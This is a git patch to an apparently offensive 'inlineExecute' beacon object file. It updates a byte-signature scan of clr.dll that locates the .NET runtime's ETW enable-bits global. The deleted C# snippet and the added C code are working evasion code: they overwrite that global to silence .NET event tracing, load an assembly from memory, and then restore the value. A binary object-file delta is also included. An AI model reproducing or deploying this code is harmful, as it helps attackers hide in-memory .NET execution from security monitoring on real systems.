From 1780e0ac41da77bae25d700964a38c3f052de69a Mon Sep 17 00:00:00 2001 From: loland <73586395+loland@users.noreply.github.com> Date: Thu, 4 Dec 2025 22:49:18 +0800 Subject: [PATCH] Subscriber Bit Patching signature update Updated the signature to be compatible with older versions of clr.dll. Integrated into the BOF --- Code Snippets/SubscriberBitPatch.c | 2 +- Code Snippets/SubscriberBitPatch.cs | 112 ---------------------------- inlineExecute/inlineExecute.o | Bin 17415 -> 17999 bytes src/inlineExecute.c | 27 ++++++- 4 files changed, 27 insertions(+), 114 deletions(-) delete mode 100644 Code Snippets/SubscriberBitPatch.cs diff --git a/Code Snippets/SubscriberBitPatch.c b/Code Snippets/SubscriberBitPatch.c index 12d8b2b..a6bb94b 100644 --- a/Code Snippets/SubscriberBitPatch.c +++ b/Code Snippets/SubscriberBitPatch.c @@ -70,7 +70,7 @@ int* findDotNETRuntimeEnableBits(HMODULE clrBase) { for (int i = 0; i < clrSize; i++) { unsigned char* addr = (unsigned char*)clrBase + i; - // matches "test cs:Microsoft_Windows_DotNETRuntimeEnableBits, 80000000h" + // matches "test cs:Microsoft_Windows_DotNETRuntimeEnableBits, 80000000h/40000000h" if (addr[0] != 0xf7 || addr[1] != 0x5) { continue; } diff --git a/Code Snippets/SubscriberBitPatch.cs b/Code Snippets/SubscriberBitPatch.cs deleted file mode 100644 index 4a6482e..0000000 --- a/Code Snippets/SubscriberBitPatch.cs +++ /dev/null @@ -1,112 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace SubscriberBitPatch { - internal class Program { - [DllImport("kernel32.dll", SetLastError = true)] - static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - - static int getClrSize(IntPtr clrBase) { - Console.WriteLine("CLR Base: " + clrBase.ToString("X")); - int peOffset = Marshal.ReadInt32(clrBase + 0x3C); - IntPtr optionalHeaderPtr = clrBase + peOffset + 0x18; - int sizeOfImage = Marshal.ReadInt32(optionalHeaderPtr + 0x38); - Console.WriteLine("CLR SizeOfImage: 0x" + sizeOfImage.ToString("X")); - - return sizeOfImage; - } - - static IntPtr GetImageBase(String dllName) { - foreach (ProcessModule module in Process.GetCurrentProcess().Modules) { - if (module.ModuleName.Equals(dllName, StringComparison.OrdinalIgnoreCase)) { - return module.BaseAddress; - } - } - return IntPtr.Zero; - } - - static IntPtr FindDotNETRuntimeEnableBits() { - IntPtr clrBase = GetImageBase("clr.dll"); - - Console.WriteLine("clr.dll located at " + clrBase.ToString("X")); - - int clrSize = getClrSize(clrBase); - IntPtr clrEnd = clrBase + clrSize; - - String[] pattern = new string[] { "f7", "05", "??", "??", "??", "??", "00", "00", "00", "80" }; - - Dictionary globalVarCount = new Dictionary(); - - for (long addr = (long)clrBase; addr < (long)(clrEnd - pattern.Length); addr++) { - for (int i = 0; i < pattern.Length; i++) { - if (pattern[i] == "??") { - continue; - } - - int b = Marshal.ReadByte((IntPtr)addr + i); - int target_b = Convert.ToInt32(pattern[i], 16); - - if (b != target_b) { - break; - } - - if (i != pattern.Length - 1) { - continue; - } - - - int globalVarOffset = Marshal.ReadInt32((IntPtr)addr + 2); - IntPtr rip = (IntPtr)(addr + pattern.Length); - IntPtr globalVarAddr = rip + globalVarOffset; - - if (globalVarCount.ContainsKey(globalVarAddr)) { - globalVarCount[globalVarAddr]++; - } else { - globalVarCount[globalVarAddr] = 1; - } - //Console.WriteLine("Signature found at: 0x" + addr.ToString("X")); - } - } - - IntPtr topAddr = IntPtr.Zero; - foreach (var item in globalVarCount) { - if (topAddr == IntPtr.Zero || item.Value > globalVarCount[topAddr]) { - topAddr = item.Key; - } - } - - return topAddr; - } - - static void TurnOffETW(IntPtr DotNETRuntimeEnableBits_addr, out int DotNETRuntimeEnableBits_val) { - DotNETRuntimeEnableBits_val = Marshal.ReadInt32(DotNETRuntimeEnableBits_addr); - Marshal.WriteInt32(DotNETRuntimeEnableBits_addr, 1); - } - - static void TurnOnETW(IntPtr DotNETRuntimeEnableBits_addr, int DotNETRuntimeEnableBits_val) { - Marshal.WriteInt32(DotNETRuntimeEnableBits_addr, DotNETRuntimeEnableBits_val); - } - - static void Main(string[] args) { - IntPtr DotNETRuntimeEnableBits_addr = FindDotNETRuntimeEnableBits(); - - int DotNETRuntimeEnableBits_val = 0; - TurnOffETW(DotNETRuntimeEnableBits_addr, out DotNETRuntimeEnableBits_val); - Console.WriteLine("DotNETRuntimeEnableBits_val: 0x" + DotNETRuntimeEnableBits_val.ToString("X")); - - // filename is the .NET assembly executable on disk to load. - String filename = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe"; - Byte[] bytes = File.ReadAllBytes(filename); - Assembly asm = Assembly.Load(bytes); - Console.WriteLine(asm); - - // because ETW is turned back on, upon termination of the process, an AssemblyUnload event for RegAsm is logged. - TurnOnETW(DotNETRuntimeEnableBits_addr, DotNETRuntimeEnableBits_val); - Console.WriteLine("Microsoft_Windows_DotNETRuntimeEnableBits_addr: 0x" + DotNETRuntimeEnableBits_addr.ToString("X")); - } - } -} \ No newline at end of file diff --git a/inlineExecute/inlineExecute.o b/inlineExecute/inlineExecute.o index 468f3fa1d29da022e67c504ceceb6e3c3d570f42..6380cdeb32e69124a83ec729c64c6dc55ddc3b09 100644 GIT binary patch delta 4399 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 delta 3846 zcmZ9P4{%h)9mn_GB_V-O0|JR?$mKZlkC43FkxLG1Jn+DW95oI)!~w=j6B;r`pqStx z#s|G5l3pSS8x$zCL9K$VkePFoOqt=RQNuuKol0fe=>Q$8wQ;6aWniZK>34sd?D6i+ zynUbh{C>N?z4!KQE`RLNUfQKiZR|>C-G3=>?$#MQ)<5+@E!@Adu_0fg;l=4^y1#7erk2(pw~!M}CeA6v z{ogv%+>_9wn9tSqB5BQ~FD(?s6VMQfWkwlr^CzcjqQp{;fO+Gn>k@cFj9 zj7S$_ce4@};j3(gv28YOdYXT=vGeQNJu~y2{*MDLeFnN4y&bM0agAR0#D@n#-@R@0 z23#S2D7(Z=(GY0}xQdKu&}A6*Q6qZV=nlB5PawdIr{m}sbXDK=UW)d>HJG;SiGZd8 zk?X0gwz0!T6y0`)(~z|TpZn>v5s6P0RR!L6@UD&=VT#|LSvo zYL@eUQOMOkN92@>s4E)m3HgE@q4so4!-d(Ej-8j$Xosx0bEFo=tZI}AUR+s$RyXR+-cAba%VyFh^Atl>?FztNmmZ~8M#W(6r#nT2vHD}DTi(c zc984@$-=(_b&~rKBnSKi)J5)Z%FV;e_7b@TAldh6&@OUqAldgYsGHmw(9elJowRPE z%MHk9NX|`XEJ{=ck^?RV^^jYx+;&hexlWKQ@&O1N3|7=!{G{_qb1%hXcTJ4?1?UxW-zb-ZiM>kB36j+_r!%&X z+%%Aj$N{P#`uc9h_7nXVB%=&Fii}PH9iV8I36$acK))ba0Fp%xg52b;fILKhoyFKx zqJM)hN8A9G&Dal!W`m^Dl`|BD6uk%%+b-5*1SqF)08~K3ybmfT`U9wv=nBY7bQN@n z=q5-$wTv9beo1Z`NID1TSLBM6^MMwUTM4R`YqB0VNU~Wawt)_lYgeuZ^cuMV<=z0j zPVOj3evvrn4RWI@?|V=oxk=b_iiisDLH%OFWsve4Zvd5$>r`$(NGEpzG@s~O6-}Ex z5iI~Mpy)#&Io@g&Z2|q7qOBmhM<(l5;XzOtg^z>YBpL?EweTJ2Epq<@$s0Tw>;DM3 z=^*LyL37D@KynHXgXHu>pel+!2Rh2C#qu$Mvh#kBkHSNsw~0=uXdLt#a-;Y1NI_>> zhMi?-C45%lC$iFH#?PTW~BGdugOq9ITNxp&b%Ky*UUNzi(7aq*_q5RNDs1vQa7 zhxS3DKPmbY)EqNPzDnWw<<+tN@)FzPch8RT^xUhP4}Jd1r7qncdGC>7{nSijY-`Q2 zQ}5(ybKg3n1wXoEn$E|rIx@EPinoalf5WC{HkUOwM)-}21})6%-7|Qr+mk7Nk%{R> z7asp-Eatvt3+=Eob{Tt=ojDl(eB#&#lZCA%VUEK1EoK-dWHIMq`jlzfL_@KmS$wXy ze13&^)C{{Ll2{sZ1%E_F)*Ux)u{R=rw|91qcrM~-YWwqXNuvFSouBs3$+-yh;@r!x zlnO16Yj%FkyUd)D!dN;CE>w)MJYXh1r7Giw$+F~#zwSAfoK@onm+^6a0(4n&!Y~e) zM9$0DPHDL%ioFg~WJwx^5z8u(bAG%RF5|_%02-E@n=s-oCUT}@fX6L41*up7eoIm{ zl0ufGf&qjh3VfFnyMsFJVOa zM6nw%VhP|fem}DC6QtFWd1$;PWEo2t4b zWBRIhSd~YwIFfAK7n6+#Tf?2@J$j{{Y`p#?Q{k>lHfue*l9hKL*;EZC8Mi)~Y&_SK c&B7wSv1Wm`BzCZ-!5(ug`OFqGmQK?C4=VZn9RL6T diff --git a/src/inlineExecute.c b/src/inlineExecute.c index 5601f49..1282117 100644 --- a/src/inlineExecute.c +++ b/src/inlineExecute.c @@ -539,10 +539,31 @@ int isEtwFunc(unsigned char* funcAddr, void* etwEventWrite) { return 1; } +int hasCoTemplateEventDescriptorCall(unsigned char* addr, void* etwEventWrite) { + // test cs:Microsoft_Windows_DotNETRuntimeEnableBits, 40000000h (10 bytes) + // jz short loc_* (2 bytes) + // lea rdx, DebugIPCEventEnd (7 bytes) + // call CoTemplateEventDescriptor (5 bytes) + unsigned char* callInstrAddr = addr + 10 + 2 + 7; + unsigned char* rip = addr + 10 + 2 + 7 + 5; + + if (*callInstrAddr != 0xe8) { + return 0; // not a call + } + + int offset = *(DWORD*)(callInstrAddr + 1); + unsigned char* funcAddr = rip + offset; + + return isEtwFunc(funcAddr, etwEventWrite); +} + int* findDotNETRuntimeEnableBits() { void* clrBase = getImageBase(L"clr.dll"); int clrSize = getImageSize(clrBase); + void* ntdllBase = getImageBase(L"ntdll.dll"); + void* etwEventWrite = getProcAddr(ntdllBase, "EtwEventWrite"); + // assuming a max of 20 global variables that match the pattern int MAX = 20; int* globalVars[20] = { 0 }; @@ -556,7 +577,11 @@ int* findDotNETRuntimeEnableBits() { continue; } - if (*(DWORD*)(addr + 6) != 0x80000000) { + if (*(DWORD*)(addr + 6) != 0x80000000 && *(DWORD*)(addr + 6) != 0x40000000) { + continue; + } + + if (!hasCoTemplateEventDescriptorCall(addr, etwEventWrite)) { continue; }